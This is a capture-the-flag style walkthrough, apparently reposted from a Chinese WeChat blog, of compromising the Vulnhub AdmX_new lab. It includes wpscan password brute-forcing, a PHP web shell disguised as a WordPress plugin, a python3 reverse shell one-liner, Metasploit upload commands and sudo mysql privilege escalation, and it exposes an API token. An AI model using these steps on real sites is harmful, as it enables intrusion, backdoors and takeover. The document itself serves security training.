0x01 靶机介绍
https://download.vulnhub.com/admx/AdmX_new.7z0x02 侦察
nmap -p- -sV -sC -A 192.168.0.105 -oA nmap_AdmX_new
目录扫描
gobuster dir -u http://192.168.0.105 -w/usr/share/wordlists/dirb/big.txt -x php
访问http://192.168.0.105/wordpress/为 WordPress 博客样板，但数据加载未完全
0x03 上线[www-data]
由于该IP在当前网络环境下不可达，而为了能够正常访问可替换为当前IP，在 BurpSuite 中找到 Proxy》Options
在 Match and Replace 中添加 Response Header 和 Response Body
192.168.159.145 192.168.0.105
再次通过 BurpSuite 代理访问目标，界面显示正常
使用 wpscan 进行初步扫描，成功发现目标存在一些漏洞
wpscan --url http://192.168.0.105/wordpress --api-token RjrNLjvRw21PbkmvY6h4EI1uqS5wB9lzCpPiLziH3A --detection-mode aggressive -e
同时发现 admin 为默认管理用户
使用 wpscan 对 admin 管理用户进行密码爆破，成功拿到密码为adam14
wpscan --url http://192.168.0.105/wordpress -U admin -P /usr/share/wordlists/rockyou.txt
通过弱口令admin/adam14成功登录后台
/*Plugin Name: WordPress.org PluginPlugin URI: https://developer.wordpress.org/plugins/the-basics/Description: Basic WordPress Plugin Header CommentVersion: 2.0Author: WordPress.orgAuthor URI: https://developer.wordpress.org/License: GPL2License URI: https://www.gnu.org/licenses/gpl-2.0.htmlText Domain: wporg*/if(isset($_GET['cmd'])) {system($_GET['cmd']);}
打包木马为 zip 压缩包
zip shell.zip shell.php
在插件中上传安装刚打包的 zip 包
插件安装成功
选择插件WordPress.org Plugin并点击 activate
访问
http://192.168.0.105/wordpress/wp-content/plugins/shell.php?cmd=id`可知木马成功自行
which ncwhich python3
在本地监听5555端口
nc -nvlp 5555利用 python3 连接可成功拿到反弹shell
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((192.168.0.107,5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'当然也可以使用 MSF 的wp_admin_shell_upload模块
msfconsolemsf > use exploit/unix/webapp/wp_admin_shell_uploadmsf > set username adminmsf > set password adam14msf > set rhosts 192.168.0.105msf > set targeturi /wordpressmsf > run
shell -t0x04 权限提升
cat /etc/passwd | grep -v nologin
su wpadmin# adam14
cat local.txt
查看当前用户是否拥有 sudo 权限，其中 mysql 命令在执行 sudo 时无需密码
sudo -l
sudo mysql -u root -D wordpress -p# adam14
system /bin/bash -icd ~cat proof.txt
在wp-config.php中还找到数据库用户 admin 的密码
0x05 知识星球
原文始发于微信公众号（狐狸说安全）：Vulnhub-AdmX-new
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论